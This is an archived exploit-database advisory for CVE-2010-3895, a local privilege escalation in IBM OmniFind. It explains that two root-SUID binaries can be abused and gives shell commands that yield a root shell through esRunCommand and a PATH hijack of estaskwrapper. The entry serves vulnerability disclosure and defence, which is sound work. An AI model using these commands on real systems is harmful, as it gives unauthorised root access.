Lucene search
K

IBM OmniFind - Local Privilege Escalation

🗓️ 09 Nov 2010 00:00:00Reported by Fatih KilicType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 35 Views

IBM OmniFind Local Privilege Escalation, SUID bits set, Privilege Escalation in esRunCommand and estaskwrapper, Vulnerability in application estaskwrappe

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IBM OmniFind Privilege Escalation Vulnerability
10 Nov 201000:00
zdt
CVE
CVE-2010-3895
12 Nov 201021:00
cve
Cvelist
CVE-2010-3895
12 Nov 201021:00
cvelist
EUVD
EUVD-2010-3873
7 Oct 202500:30
euvd
exploitpack
IBM OmniFind - Local Privilege Escalation
9 Nov 201000:00
exploitpack
NVD
CVE-2010-3895
12 Nov 201022:00
nvd
Packet Storm
IBM OmniFind Cross Site Scripting / Privilege Escalation
10 Nov 201000:00
packetstorm
Prion
Command injection
12 Nov 201022:00
prion
Prion
Design/Logic Flaw
12 Nov 201022:00
prion
securityvulns
IBM OmniFind - several vulnerabilities
18 Nov 201000:00
securityvulns
Rows per page
* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
-------------------------------------------------------------------------


»esRunCommand« takes one argument and runs it as root. See example below.
-------------------------------------------------------------------------
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  
  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------



The application »estaskwrapper« is meant to start the application »estasklight«. 
The pseudo c code looks like this:
-------------------------------------------------------------------------
	main() {
	  int auth = 0;
	  ...
	  if (argv[1] == "estasklight") {
	    auth = 1;
		  ...
		  path = getenv("ES_LIBRARY_PATH");
		  if (path) {
		    setenv("LD_LIBRARY_PATH", path);
		    setenv("LIBPATH", path);
		    ...
		    if (auth) {
		  	  execvp ("estasklight", args);
		    }
		    ...
		  }
	    ...
	  }
	...
	}
-------------------------------------------------------------------------


Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set. 
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.



Exploit for running /bin/sh
-------------------------------------------------------------------------
joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
-------------------------------------------------------------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Nov 2010 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 27.2
EPSS0.01114
35